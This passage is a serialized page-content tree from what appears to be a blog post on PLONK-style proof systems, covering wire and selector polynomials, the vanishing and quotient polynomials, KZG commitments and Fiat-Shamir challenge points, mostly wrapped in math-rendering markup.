polynomials",{"type":26,"value":4852},{"type":20,"tag":119,"props":141052,"children":141054},{"className":141053},[2375,2376],[141055],{"type":20,"tag":315,"props":141056,"children":141058},{"className":141057},[2381],[141059],{"type":20,"tag":315,"props":141060,"children":141062},{"className":141061,"ariaHidden":2387},[2386],[141063],{"type":20,"tag":315,"props":141064,"children":141066},{"className":141065},[2392],[141067,141071,141128,141133,141138],{"type":20,"tag":315,"props":141068,"children":141070},{"className":141069,"style":2504},[2397],[],{"type":20,"tag":315,"props":141072,"children":141074},{"className":141073},[2403],[141075,141080],{"type":20,"tag":315,"props":141076,"children":141078},{"className":141077,"style":93659},[2403,19992],[141079],{"type":26,"value":31499},{"type":20,"tag":315,"props":141081,"children":141083},{"className":141082},[2419],[141084],{"type":20,"tag":315,"props":141085,"children":141087},{"className":141086},[2424,20046],[141088,141117],{"type":20,"tag":315,"props":141089,"children":141091},{"className":141090},[2429],[141092,141112],{"type":20,"tag":315,"props":141093,"children":141095},{"className":141094,"style":140860},[2434],[141096],{"type":20,"tag":315,"props":141097,"children":141098},{"style":93680},[141099,141103],{"type":20,"tag":315,"props":141100,"children":141102},{"className":141101,"style":2444},[2443],[],{"type":20,"tag":315,"props":141104,"children":141106},{"className":141105},[2449,2450,2451,2452],[141107],{"type":20,"tag":315,"props":141108,"children":141110},{"className":141109},[2403,19992,2452],[141111],{"type":26,"value":116269},{"type":20,"tag":315,"props":141113,"children":141115},{"className":141114},[20149],[141116],{"type":26,"value":20152},{"type":20,"tag":315,"props":141118,"children":141120},{"className":141119},[2429],[141121],{"type":20,"tag":315,"props":141122,"children":141124},{"className":141123,"style":91388},[2434],[141125],{"type":20,"tag":315,"props":141126,"children":141127},{},[],{"type":20,"tag":315,"props":141129,"children":141131},{"className":141130},[20121],[141132],{"type":26,"value":1049},{"type":20,"tag":315,"props":141134,"children":141136},{"className":141135},[2403,19992],[141137],{"type":26,"value":17680},{"type":20,"tag":315,"props":141139,"children":141141},{"className":141140},[20143],[141142],{"type":26,"value":1509},{"type":26,"value":44},{"type":20,"tag":119,"props":141145,"children":141147},{"className":141146},[2375,2376],[141148],{"type":20,"tag":315,"props":141149,"children":141151},{"className":141150},[2381],[141152],{"type":20,"tag":315,"props":141153,"children":141155},{"className":141154,"ariaHidden":2387},[2386],[141156],{"type":20,"tag":315,"props":141157,"children":141159},{"className":141158},[2392],[141160,141164,141221,141226,141231],{"type":20,"tag":315,"props":141161,"children":141163},{"className":141162,"style":2504},[2397],[],{"type":20,"tag":315,"props":141165,"children":141167},{"className":141166},[2403],[141168,141173],{"type":20,"tag":315,"props":141169,"children":141171},{"className":141170,"style":93659},[2403,19992],[141172],{"type":26,"value":31499},{"type":20,"tag":315,"props":141174,"children":141176},{"className":141175},[2419],[141177],{"type":20,"tag":315,"props":141178,"children":141180},{"className":141179},[2424,20046],[141181,141210],{"type":20,"tag":315,"props":141182,"children":141184},{"className":141183},[2429],[141185,141205],{"type":20,"tag":315,"props":141186,"children":141188},{"className":141187,"style":140860},[2434],[141189],{"type":20,"tag":315,"props":141190,"children":141191},{"style":93680},[141192,141196],{"type":20,"tag":315,"props":141193,"children":141195},{"className":141194,"style":2444},[2443],[],{"type":20,"tag":315,"props":141197,"children":141199},{"className":141198},[2449,2450,2451,2452],[141200],{"type":20,"tag":315,"props":141201,"children":141203},{"className":141202,"style":121082},[2403,19992,2452],[141204],{"type":26,"value":121085},{"type":20,"tag":315,"props":141206,"children":141208},{"className":141207},[20149],[141209],{"type":26,"value":20152},{"type":20,"tag":315,"props":141211,"children":141213},{"className":141212},[2429],[141214],{"type":20,"tag":315,"props":141215,"children":141217},{"className":141216,"style":91388},[2434],[141218],{"type":20,"tag":315,"props":141219,"children":141220},{},[],{"type":20,"tag":315,"props":141222,"children":141224},{"className":141223},[20121],[141225],{"type":26,"value":1049},{"type":20,"tag":315,"props":141227,"children":141229},{"className":141228},[2403,19992],[141230],{"type":26,"value":17680},{"type":20,"tag":315,"props":141232,"children":141234},{"className":141233},[20143],[141235],{"type":26,"value":1509},{"type":26,"value":44},{"type":20,"tag":119,"props":141238,"children":141240},{"className":141239},[2375,2376],[141241],{"type":20,"tag":315,"props":141242,"children":141244},{"className":141243},[2381],[141245],{"type":20,"tag":315,"props":141246,"children":141248},{"className":141247,"ariaHidden":2387},[2386],[141249],{"type":20,"tag":315,"props":141250,"children":141252},{"className":141251},[2392],[141253,141257,141314,141319,141324],{"type":20,"tag":315,"props":141254,"children":141256},{"className":141255,"style":2504},[2397],[],{"type":20,"tag":315,"props":141258,"children":141260},{"className":141259},[2403],[141261,141266],{"type":20,"tag":315,"props":141262,"children":141264},{"className":141263,"style":93659},[2403,19992],[141265],{"type":26,"value":31499},{"type":20,"tag":315,"props":141267,"children":141269},{"className":141268},[2419],[141270],{"type":20,"tag":315,"props":141271,"children":141273},{"className":141272},[2424,20046],[141274,141303],{"type":20,"tag":315,"props":141275,"children":141277},{"className":141276},[2429],[141278,141298],{"type":20,"tag":315,"props":141279,"children":141281},{"className":141280,"style":140860},[2434],[141282],{"type":20,"tag":315,"props":141283,"children":141284},{"style":93680},[141285,141289],{"type":20,"tag":315,"props":141286,"children":141288},{"className":141287,"style":2444},[2443],[],{"type":20,"tag":315,"props":141290,"children":141292},{"className":141291},[2449,2450,2451,2452],[141293],{"type":20,"tag":315,"props":141294,"children":141296},{"className":141295,"style":91305},[2403,19992,2452],[141297],{"type":26,"value":113624},{"type":20,"tag":315,"props":141299,"children":141301},{"className":141300},[20149],[141302],{"type":26,"value":20152},{"type":20,"tag":315,"props":141304,"children":141306},{"className":141305},[2429],[141307],{"type":20,"tag":315,"props":141308,"children":141310},{"className":141309,"style":91388},[2434],[141311],{"type":20,"tag":315,"props":141312,"children":141313},{},[],{"type":20,"tag":315,"props":141315,"children":141317},{"className":141316},[20121],[141318],{"type":26,"value":1049},{"type":20,"tag":315,"props":141320,"children":141322},{"className":141321},[2403,19992],[141323],{"type":26,"value":17680},{"type":20,"tag":315,"props":141325,"children":141327},{"className":141326},[20143],[141328],{"type":26,"value":1509},{"type":26,"value":141330}," and the selectors become ",{"type":20,"tag":55,"props":141332,"children":141333},{},[141334],{"type":26,"value":141335},"selector polynomials",{"type":26,"value":4852},{"type":20,"tag":119,"props":141338,"children":141340},{"className":141339},[2375,2376],[141341],{"type":20,"tag":315,"props":141342,"children":141344},{"className":141343},[2381],[141345],{"type":20,"tag":315,"props":141346,"children":141348},{"className":141347,"ariaHidden":2387},[2386],[141349],{"type":20,"tag":315,"props":141350,"children":141352},{"className":141351},[2392],[141353,141357,141414,141419,141424],{"type":20,"tag":315,"props":141354,"children":141356},{"className":141355,"style":2504},[2397],[],{"type":20,"tag":315,"props":141358,"children":141360},{"className":141359},[2403],[141361,141366],{"type":20,"tag":315,"props":141362,"children":141364},{"className":141363},[2403,19992],[141365],{"type":26,"value":75060},{"type":20,"tag":315,"props":141367,"children":141369},{"className":141368},[2419],[141370],{"type":20,"tag":315,"props":141371,"children":141373},{"className":141372},[2424,20046],[141374,141403],{"type":20,"tag":315,"props":141375,"children":141377},{"className":141376},[2429],[141378,141398],{"type":20,"tag":315,"props":141379,"children":141381},{"className":141380,"style":140860},[2434],[141382],{"type":20,"tag":315,"props":141383,"children":141384},{"style":91361},[141385,141389],{"type":20,"tag":315,"props":141386,"children":141388},{"className":141387,"style":2444},[2443],[],{"type":20,"tag":315,"props":141390,"children":141392},{"className":141391},[2449,2450,2451,2452],[141393],{"type":20,"tag":315,"props":141394,"children":141396},{"className":141395,"style":93313},[2403,19992,2452],[141397],{"type":26,"value":93316},{"type":20,"tag":315,"props":141399,"children":141401},{"className":141400},[20149],[141402],{"type":26,"value":20152},{"type":20,"tag":315,"props":141404,"children":141406},{"className":141405},[2429],[141407],{"type":20,"tag":315,"props":141408,"children":141410},{"className":141409,"style":91388},[2434],[141411],{"type":20,"tag":315,"props":141412,"children":141413},{},[],{"type":20,"tag":315,"props":141415,"children":141417},{"className":141416},[20121],[141418],{"type":26,"value":1049},{"type":20,"tag":315,"props":141420,"children":141422},{"className":141421},[2403,19992],[141423],{"type":26,"value":17680},{"type":20,"tag":315,"props":141425,"children":141427},{"className":141426},[20143],[141428],{"type":26,"value":1509},{"type":26,"value":44},{"type":20,"tag":119,"props":141431,"children":141433},{"className":141432},[2375,2376],[141434],{"type":20,"tag":315,"props":141435,"children":141437},{"className":141436},[2381],[141438],{"type":20,"tag":315,"props":141439,"children":141441},{"className":141440,"ariaHidden":2387},[2386],[141442],{"type":20,"tag":315,"props":141443,"children":141445},{"className":141444},[2392],[141446,141450,141507,141512,141517],{"type":20,"tag":315,"props":141447,"children":141449},{"className":141448,"style":2504},[2397],[],{"type":20,"tag":315,"props":141451,"children":141453},{"className":141452},[2403],[141454,141459],{"type":20,"tag":315,"props":141455,"children":141457},{"className":141456},[2403,19992],[141458],{"type":26,"value":75060},{"type":20,"tag":315,"props":141460,"children":141462},{"className":141461},[2419],[141463],{"type":20,"tag":315,"props":141464,"children":141466},{"className":141465},[2424,20046],[141467,141496],{"type":20,"tag":315,"props":141468,"children":141470},{"className":141469},[2429],[141471,141491],{"type":20,"tag":315,"props":141472,"children":141474},{"className":141473,"style":140860},[2434],[141475],{"type":20,"tag":315,"props":141476,"children":141477},{"style":91361},[141478,141482],{"type":20,"tag":315,"props":141479,"children":141481},{"className":141480,"style":2444},[2443],[],{"type":20,"tag":315,"props":141483,"children":141485},{"className":141484},[2449,2450,2451,2452],[141486],{"type":20,"tag":315,"props":141487,"children":141489},{"className":141488},[2403,19992,2452],[141490],{"type":26,"value":116269},{"type":20,"tag":315,"props":141492,"children":141494},{"className":141493},[20149],[141495],{"type":26,"value":20152},{"type":20,"tag":315,"props":141497,"children":141499},{"className":141498},[2429],[141500],{"type":20,"tag":315,"props":141501,"children":141503},{"className":141502,"style":91388},[2434],[141504],{"type":20,"tag":315,"props":141505,"children":141506},{},[],{"type":20,"tag":315,"props":141508,"children":141510},{"className":141509},[20121],[141511],{"type":26,"value":1049},{"type":20,"tag":315,"props":141513,"children":141515},{"className":141514},[2403,19992],[141516],{"type":26,"value":17680},{"type":20,"tag":315,"props":141518,"children":141520},{"className":141519},[20143],[141521],{"type":26,"value":1509},{"type":26,"value":141523},", etc., all interpolated over a domain ",{"type":20,"tag":119,"props":141525,"children":141527},{"className":141526},[2375,2376],[141528],{"type":20,"tag":315,"props":141529,"children":141531},{"className":141530},[2381],[141532],{"type":20,"tag":315,"props":141533,"children":141535},{"className":141534,"ariaHidden":2387},[2386],[141536],{"type":20,"tag":315,"props":141537,"children":141539},{"className":141538},[2392],[141540,141544],{"type":20,"tag":315,"props":141541,"children":141543},{"className":141542,"style":19987},[2397],[],{"type":20,"tag":315,"props":141545,"children":141547},{"className":141546,"style":91539},[2403,19992],[141548],{"type":26,"value":91542},{"type":26,"value":141550}," of ",{"type":20,"tag":119,"props":141552,"children":141554},{"className":141553},[2375,2376],[141555],{"type":20,"tag":315,"props":141556,"children":141558},{"className":141557},[2381],[141559],{"type":20,"tag":315,"props":141560,"children":141562},{"className":141561,"ariaHidden":2387},[2386],[141563],{"type":20,"tag":315,"props":141564,"children":141566},{"className":141565},[2392],[141567,141571],{"type":20,"tag":315,"props":141568,"children":141570},{"className":141569,"style":109146},[2397],[],{"type":20,"tag":315,"props":141572,"children":141574},{"className":141573},[2403,19992],[141575],{"type":26,"value":54656},{"type":26,"value":141577},"-th roots of unity. Evaluating ",{"type":20,"tag":119,"props":141579,"children":141581},{"className":141580},[2375,2376],[141582],{"type":20,"tag":315,"props":141583,"children":141585},{"className":141584},[2381],[141586],{"type":20,"tag":315,"props":141587,"children":141589},{"className":141588,"ariaHidden":2387},[2386],[141590],{"type":20,"tag":315,"props":141591,"children":141593},{"className":141592},[2392],[141594,141598,141655,141660,141665],{"type":20,"tag":315,"props":141595,"children":141597},{"className":141596,"style":2504},[2397],[],{"type":20,"tag":315,"props":141599,"children":141601},{"className":141600},[2403],[141602,141607],{"type":20,"tag":315,"props":141603,"children":141605},{"className":141604,"style":93659},[2403,19992],[141606],{"type":26,"value":31499},{"type":20,"tag":315,"props":141608,"children":141610},{"className":141609},[2419],[141611],{"type":20,"tag":315,"props":141612,"children":141614},{"className":141613},[2424,20046],[141615,141644],{"type":20,"tag":315,"props":141616,"children":141618},{"className":141617},[2429],[141619,141639],{"type":20,"tag":315,"props":141620,"children":141622},{"className":141621,"style":140860},[2434],[141623],{"type":20,"tag":315,"props":141624,"children":141625},{"style":93680},[141626,141630],{"type":20,"tag":315,"props":141627,"children":141629},{"className":141628,"style":2444},[2443],[],{"type":20,"tag":315,"props":141631,"children":141633},{"className":141632},[2449,2450,2451,2452],[141634],{"type":20,"tag":315,"props":141635,"children":141637},{"className":141636},[2403,19992,2452],[141638],{"type":26,"value":116269},{"type":20,"tag":315,"props":141640,"children":141642},{"className":141641},[20149],[141643],{"type":26,"value":20152},{"type":20,"tag":315,"props":141645,"children":141647},{"className":141646},[2429],[141648],{"type":20,"tag":315,"props":141649,"children":141651},{"className":141650,"style":91388},[2434],[141652],{"type":20,"tag":315,"props":141653,"children":141654},{},[],{"type":20,"tag":315,"props":141656,"children":141658},{"className":141657},[20121],[141659],{"type":26,"value":1049},{"type":20,"tag":315,"props":141661,"children":141663},{"className":141662},[2403,19992],[141664],{"type":26,"value":17680},{"type":20,"tag":315,"props":141666,"children":141668},{"className":141667},[20143],[141669],{"type":26,"value":1509},{"type":26,"value":141671}," at the ",{"type":20,"tag":119,"props":141673,"children":141675},{"className":141674},[2375,2376],[141676],{"type":20,"tag":315,"props":141677,"children":141679},{"className":141678},[2381],[141680],{"type":20,"tag":315,"props":141681,"children":141683},{"className":141682,"ariaHidden":2387},[2386],[141684],{"type":20,"tag":315,"props":141685,"children":141687},{"className":141686},[2392],[141688,141692],{"type":20,"tag":315,"props":141689,"children":141691},{"className":141690,"style":140556},[2397],[],{"type":20,"tag":315,"props":141693,"children":141695},{"className":141694},[2403,19992],[141696],{"type":26,"value":2122},{"type":26,"value":141698},"-th root recovers the left wire value at row ",{"type":20,"tag":119,"props":141700,"children":141702},{"className":141701},[2375,2376],[141703],{"type":20,"tag":315,"props":141704,"children":141706},{"className":141705},[2381],[141707],{"type":20,"tag":315,"props":141708,"children":141710},{"className":141709,"ariaHidden":2387},[2386],[141711],{"type":20,"tag":315,"props":141712,"children":141714},{"className":141713},[2392],[141715,141719],{"type":20,"tag":315,"props":141716,"children":141718},{"className":141717,"style":140556},[2397],[],{"type":20,"tag":315,"props":141720,"children":141722},{"className":141721},[2403,19992],[141723],{"type":26,"value":2122},{"type":26,"value":61},{"type":20,"tag":141726,"props":141727,"children":141728},"polynomial-interpolation-panel",{},[],{"type":20,"tag":29,"props":141730,"children":141731},{},[141732,141734,141774,141776,141842,141844,141974,141976,142016,142018,142058,142060,142100,142101,142223],{"type":26,"value":141733},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":20,"tag":119,"props":141735,"children":141737},{"className":141736},[2375,2376],[141738],{"type":20,"tag":315,"props":141739,"children":141741},{"className":141740},[2381],[141742],{"type":20,"tag":315,"props":141743,"children":141745},{"className":141744,"ariaHidden":2387},[2386],[141746],{"type":20,"tag":315,"props":141747,"children":141749},{"className":141748},[2392],[141750,141754,141759,141764,141769],{"type":20,"tag":315,"props":141751,"children":141753},{"className":141752,"style":2504},[2397],[],{"type":20,"tag":315,"props":141755,"children":141757},{"className":141756,"style":19993},[2403,19992],[141758],{"type":26,"value":120083},{"type":20,"tag":315,"props":141760,"children":141762},{"className":141761},[20121],[141763],{"type":26,"value":1049},{"type":20,"tag":315,"props":141765,"children":141767},{"className":141766},[2403,19992],[141768],{"type":26,"value":17680},{"type":20,"tag":315,"props":141770,"children":141772},{"className":141771},[20143],[141773],{"type":26,"value":1509},{"type":26,"value":141775}," that combines selectors and witnesses. If the prover was honest, ",{"type":20,"tag":119,"props":141777,"children":141779},{"className":141778},[2375,2376],[141780],{"type":20,"tag":315,"props":141781,"children":141783},{"className":141782},[2381],[141784],{"type":20,"tag":315,"props":141785,"children":141787},{"className":141786,"ariaHidden":2387},[2386],[141788,141829],{"type":20,"tag":315,"props":141789,"children":141791},{"className":141790},[2392],[141792,141796,141801,141806,141811,141816,141820,141825],{"type":20,"tag":315,"props":141793,"children":141795},{"className":141794,"style":2504},[2397],[],{"type":20,"tag":315,"props":141797,"children":141799},{"className":141798,"style":19993},[2403,19992],[141800],{"type":26,"value":120083},{"type":20,"tag":315,"props":141802,"children":141804},{"className":141803},[20121],[141805],{"type":26,"value":1049},{"type":20,"tag":315,"props":141807,"children":141809},{"className":141808},[2403,19992],[141810],{"type":26,"value":17680},{"type":20,"tag":315,"props":141812,"children":141814},{"className":141813},[20143],[141815],{"type":26,"value":1509},{"type":20,"tag":315,"props":141817,"children":141819},{"className":141818,"style":2581},[2483],[],{"type":20,"tag":315,"props":141821,"children":141823},{"className":141822},[2586],[141824],{"type":26,"value":337},{"type":20,"tag":315,"props":141826,"children":141828},{"className":141827,"style":2581},[2483],[],{"type":20,"tag":315,"props":141830,"children":141832},{"className":141831},[2392],[141833,141837],{"type":20,"tag":315,"props":141834,"children":141836},{"className":141835,"style":92336},[2397],[],{"type":20,"tag":315,"props":141838,"children":141840},{"className":141839},[2403],[141841],{"type":26,"value":1063},{"type":26,"value":141843}," at every row index in the domain. The vanishing polynomial ",{"type":20,"tag":119,"props":141845,"children":141847},{"className":141846},[2375,2376],[141848],{"type":20,"tag":315,"props":141849,"children":141851},{"className":141850},[2381],[141852],{"type":20,"tag":315,"props":141853,"children":141855},{"className":141854,"ariaHidden":2387},[2386],[141856,141898,141961],{"type":20,"tag":315,"props":141857,"children":141859},{"className":141858},[2392],[141860,141864,141870,141875,141880,141885,141889,141894],{"type":20,"tag":315,"props":141861,"children":141863},{"className":141862,"style":2504},[2397],[],{"type":20,"tag":315,"props":141865,"children":141867},{"className":141866,"style":20524},[2403,19992],[141868],{"type":26,"value":141869},"Z",{"type":20,"tag":315,"props":141871,"children":141873},{"className":141872},[20121],[141874],{"type":26,"value":1049},{"type":20,"tag":315,"props":141876,"children":141878},{"className":141877},[2403,19992],[141879],{"type":26,"value":17680},{"type":20,"tag":315,"props":141881,"children":141883},{"className":141882},[20143],[141884],{"type":26,"value":1509},{"type":20,"tag":315,"props":141886,"children":141888},{"className":141887,"style":2581},[2483],[],{"type":20,"tag":315,"props":141890,"children":141892},{"className":141891},[2586],[141893],{"type":26,"value":337},{"type":20,"tag":315,"props":141895,"children":141897},{"className":141896,"style":2581},[2483],[],{"type":20,"tag":315,"props":141899,"children":141901},{"className":141900},[2392],[141902,141907,141948,141952,141957],{"type":20,"tag":315,"props":141903,"children":141906},{"className":141904,"style":141905},[2397],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":20,"tag":315,"props":141908,"children":141910},{"className":141909},[2403],[141911,141916],{"type":20,"tag":315,"props":141912,"children":141914},{"className":141913},[2403,19992],[141915],{"type":26,"value":17680},{"type":20,"tag":315,"props":141917,"children":141919},{"className":141918},[2419],[141920],{"type":20,"tag":315,"props":141921,"children":141923},{"className":141922},[2424],[141924],{"type":20,"tag":315,"props":141925,"children":141927},{"className":141926},[2429],[141928],{"type":20,"tag":315,"props":141929,"children":141931},{"className":141930,"style":107022},[2434],[141932],{"type":20,"tag":315,"props":141933,"children":141934},{"style":2438},[141935,141939],{"type":20,"tag":315,"props":141936,"children":141938},{"className":141937,"style":2444},[2443],[],{"type":20,"tag":315,"props":141940,"children":141942},{"className":141941},[2449,2450,2451,2452],[141943],{"type":20,"tag":315,"props":141944,"children":141946},{"className":141945},[2403,19992,2452],[141947],{"type":26,"value":54656},{"type":20,"tag":315,"props":141949,"children":141951},{"className":141950,"style":2484},[2483],[],{"type":20,"tag":315,"props":141953,"children":141955},{"className":141954},[2489],[141956],{"type":26,"value":2463},{"type":20,"tag":315,"props":141958,"children":141960},{"className":141959,"style":2484},[2483],[],{"type":20,"tag":315,"props":141962,"children":141964},{"className":141963},[2392],[141965,141969],{"type":20,"tag":315,"props":141966,"children":141968},{"className":141967,"style":92336},[2397],[],{"type":20,"tag":315,"props":141970,"children":141972},{"className":141971},[2403],[141973],{"type":26,"value":2406},{"type":26,"value":141975}," is zero on exactly those points, so if all constraints hold then ",{"type":20,"tag":119,"props":141977,"children":141979},{"className":141978},[2375,2376],[141980],{"type":20,"tag":315,"props":141981,"children":141983},{"className":141982},[2381],[141984],{"type":20,"tag":315,"props":141985,"children":141987},{"className":141986,"ariaHidden":2387},[2386],[141988],{"type":20,"tag":315,"props":141989,"children":141991},{"className":141990},[2392],[141992,141996,142001,142006,142011],{"type":20,"tag":315,"props":141993,"children":141995},{"className":141994,"style":2504},[2397],[],{"type":20,"tag":315,"props":141997,"children":141999},{"className":141998,"style":20524},[2403,19992],[142000],{"type":26,"value":141869},{"type":20,"tag":315,"props":142002,"children":142004},{"className":142003},[20121],[142005],{"type":26,"value":1049},{"type":20,"tag":315,"props":142007,"children":142009},{"className":142008},[2403,19992],[142010],{"type":26,"value":17680},{"type":20,"tag":315,"props":142012,"children":142014},{"className":142013},[20143],[142015],{"type":26,"value":1509},{"type":26,"value":142017}," divides ",{"type":20,"tag":119,"props":142019,"children":142021},{"className":142020},[2375,2376],[142022],{"type":20,"tag":315,"props":142023,"children":142025},{"className":142024},[2381],[142026],{"type":20,"tag":315,"props":142027,"children":142029},{"className":142028,"ariaHidden":2387},[2386],[142030],{"type":20,"tag":315,"props":142031,"children":142033},{"className":142032},[2392],[142034,142038,142043,142048,142053],{"type":20,"tag":315,"props":142035,"children":142037},{"className":142036,"style":2504},[2397],[],{"type":20,"tag":315,"props":142039,"children":142041},{"className":142040,"style":19993},[2403,19992],[142042],{"type":26,"value":120083},{"type":20,"tag":315,"props":142044,"children":142046},{"className":142045},[20121],[142047],{"type":26,"value":1049},{"type":20,"tag":315,"props":142049,"children":142051},{"className":142050},[2403,19992],[142052],{"type":26,"value":17680},{"type":20,"tag":315,"props":142054,"children":142056},{"className":142055},[20143],[142057],{"type":26,"value":1509},{"type":26,"value":142059},", yielding a quotient polynomial ",{"type":20,"tag":119,"props":142061,"children":142063},{"className":142062},[2375,2376],[142064],{"type":20,"tag":315,"props":142065,"children":142067},{"className":142066},[2381],[142068],{"type":20,"tag":315,"props":142069,"children":142071},{"className":142070,"ariaHidden":2387},[2386],[142072],{"type":20,"tag":315,"props":142073,"children":142075},{"className":142074},[2392],[142076,142080,142085,142090,142095],{"type":20,"tag":315,"props":142077,"children":142079},{"className":142078,"style":2504},[2397],[],{"type":20,"tag":315,"props":142081,"children":142083},{"className":142082,"style":19993},[2403,19992],[142084],{"type":26,"value":4381},{"type":20,"tag":315,"props":142086,"children":142088},{"className":142087},[20121],[142089],{"type":26,"value":1049},{"type":20,"tag":315,"props":142091,"children":142093},{"className":142092},[2403,19992],[142094],{"type":26,"value":17680},{"type":20,"tag":315,"props":142096,"children":142098},{"className":142097},[20143],[142099],{"type":26,"value":1509},{"type":26,"value":19908},{"type":20,"tag":119,"props":142102,"children":142104},{"className":142103},[2375,2376],[142105],{"type":20,"tag":315,"props":142106,"children":142108},{"className":142107},[2381],[142109],{"type":20,"tag":315,"props":142110,"children":142112},{"className":142111,"ariaHidden":2387},[2386],[142113,142154,142195],{"type":20,"tag":315,"props":142114,"children":142116},{"className":142115},[2392],[142117,142121,142126,142131,142136,142141,142145,142150],{"type":20,"tag":315,"props":142118,"children":142120},{"className":142119,"style":2504},[2397],[],{"type":20,"tag":315,"props":142122,"children":142124},{"className":142123,"style":19993},[2403,19992],[142125],{"type":26,"value":120083},{"type":20,"tag":315,"props":142127,"children":142129},{"className":142128},[20121],[142130],{"type":26,"value":1049},{"type":20,"tag":315,"props":142132,"children":142134},{"className":142133},[2403,19992],[142135],{"type":26,"value":17680},{"type":20,"tag":315,"props":142137,"children":142139},{"className":142138},[20143],[142140],{"type":26,"value":1509},{"type":20,"tag":315,"props":142142,"children":142144},{"className":142143,"style":2581},[2483],[],{"type":20,"tag":315,"props":142146,"children":142148},{"className":142147},[2586],[142149],{"type":26,"value":337},{"type":20,"tag":315,"props":142151,"children":142153},{"className":142152,"style":2581},[2483],[],{"type":20,"tag":315,"props":142155,"children":142157},{"className":142156},[2392],[142158,142162,142167,142172,142177,142182,142186,142191],{"type":20,"tag":315,"props":142159,"children":142161},{"className":142160,"style":2504},[2397],[],{"type":20,"tag":315,"props":142163,"children":142165},{"className":142164,"style":19993},[2403,19992],[142166],{"type":26,"value":4381},{"type":20,"tag":315,"props":142168,"children":142170},{"className":142169},[20121],[142171],{"type":26,"value":1049},{"type":20,"tag":315,"props":142173,"children":142175},{"className":142174},[2403,19992],[142176],{"type":26,"value":17680},{"type":20,"tag":315,"props":142178,"children":142180},{"className":142179},[20143],[142181],{"type":26,"value":1509},{"type":20,"tag":315,"props":142183,"children":142185},{"className":142184,"style":2484},[2483],[],{"type":20,"tag":315,"props":142187,"children":142189},{"className":142188},[2489],[142190],{"type":26,"value":109567},{"type":20,"tag":315,"props":142192,"children":142194},{"className":142193,"style":2484},[2483],[],{"type":20,"tag":315,"props":142196,"children":142198},{"className":142197},[2392],[142199,142203,142208,142213,142218],{"type":20,"tag":315,"props":142200,"children":142202},{"className":142201,"style":2504},[2397],[],{"type":20,"tag":315,"props":142204,"children":142206},{"className":142205,"style":20524},[2403,19992],[142207],{"type":26,"value":141869},{"type":20,"tag":315,"props":142209,"children":142211},{"className":142210},[20121],[142212],{"type":26,"value":1049},{"type":20,"tag":315,"props":142214,"children":142216},{"className":142215},[2403,19992],[142217],{"type":26,"value":17680},{"type":20,"tag":315,"props":142219,"children":142221},{"className":142220},[20143],[142222],{"type":26,"value":1509},{"type":26,"value":61},{"type":20,"tag":29,"props":142225,"children":142226},{},[142227],{"type":20,"tag":2308,"props":142228,"children":142231},{"alt":142229,"src":142230},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":20,"tag":219,"props":142233,"children":142235},{"id":142234},"polynomial-commitments-and-opening-proofs",[142236],{"type":26,"value":142237},"Polynomial commitments and opening proofs",{"type":20,"tag":29,"props":142239,"children":142240},{},[142241,142243,142248,142250,142255],{"type":26,"value":142242},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":20,"tag":55,"props":142244,"children":142245},{},[142246],{"type":26,"value":142247},"commitments",{"type":26,"value":142249},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":20,"tag":55,"props":142251,"children":142252},{},[142253],{"type":26,"value":142254},"opening proof",{"type":26,"value":142256}," that the claimed value is consistent with the earlier commitment.",{"type":20,"tag":29,"props":142258,"children":142259},{},[142260],{"type":26,"value":142261},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":20,"tag":219,"props":142263,"children":142265},{"id":142264},"reducing-to-a-single-random-point",[142266],{"type":26,"value":142267},"Reducing to a single random point",{"type":20,"tag":29,"props":142269,"children":142270},{},[142271,142273,142313,142315,142340,142342,142464,142466,142491],{"type":26,"value":142272},"After the prover commits to all polynomials, including ",{"type":20,"tag":119,"props":142274,"children":142276},{"className":142275},[2375,2376],[142277],{"type":20,"tag":315,"props":142278,"children":142280},{"className":142279},[2381],[142281],{"type":20,"tag":315,"props":142282,"children":142284},{"className":142283,"ariaHidden":2387},[2386],[142285],{"type":20,"tag":315,"props":142286,"children":142288},{"className":142287},[2392],[142289,142293,142298,142303,142308],{"type":20,"tag":315,"props":142290,"children":142292},{"className":142291,"style":2504},[2397],[],{"type":20,"tag":315,"props":142294,"children":142296},{"className":142295,"style":19993},[2403,19992],[142297],{"type":26,"value":4381},{"type":20,"tag":315,"props":142299,"children":142301},{"className":142300},[20121],[142302],{"type":26,"value":1049},{"type":20,"tag":315,"props":142304,"children":142306},{"className":142305},[2403,19992],[142307],{"type":26,"value":17680},{"type":20,"tag":315,"props":142309,"children":142311},{"className":142310},[20143],[142312],{"type":26,"value":1509},{"type":26,"value":142314},", the verifier picks a random challenge point ",{"type":20,"tag":119,"props":142316,"children":142318},{"className":142317},[2375,2376],[142319],{"type":20,"tag":315,"props":142320,"children":142322},{"className":142321},[2381],[142323],{"type":20,"tag":315,"props":142324,"children":142326},{"className":142325,"ariaHidden":2387},[2386],[142327],{"type":20,"tag":315,"props":142328,"children":142330},{"className":142329},[2392],[142331,142335],{"type":20,"tag":315,"props":142332,"children":142334},{"className":142333,"style":109146},[2397],[],{"type":20,"tag":315,"props":142336,"children":142338},{"className":142337,"style":111862},[2403,19992],[142339],{"type":26,"value":111865},{"type":26,"value":142341}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":20,"tag":119,"props":142343,"children":142345},{"className":142344},[2375,2376],[142346],{"type":20,"tag":315,"props":142347,"children":142349},{"className":142348},[2381],[142350],{"type":20,"tag":315,"props":142351,"children":142353},{"className":142352,"ariaHidden":2387},[2386],[142354,142395,142436],{"type":20,"tag":315,"props":142355,"children":142357},{"className":142356},[2392],[142358,142362,142367,142372,142377,142382,142386,142391],{"type":20,"tag":315,"props":142359,"children":142361},{"className":142360,"style":2504},[2397],[],{"type":20,"tag":315,"props":142363,"children":142365},{"className":142364,"style":19993},[2403,19992],[142366],{"type":26,"value":120083},{"type":20,"tag":315,"props":142368,"children":142370},{"className":142369},[20121],[142371],{"type":26,"value":1049},{"type":20,"tag":315,"props":142373,"children":142375},{"className":142374,"style":111862},[2403,19992],[142376],{"type":26,"value":111865},{"type":20,"tag":315,"props":142378,"children":142380},{"className":142379},[20143],[142381],{"type":26,"value":1509},{"type":20,"tag":315,"props":142383,"children":142385},{"className":142384,"style":2581},[2483],[],{"type":20,"tag":315,"props":1423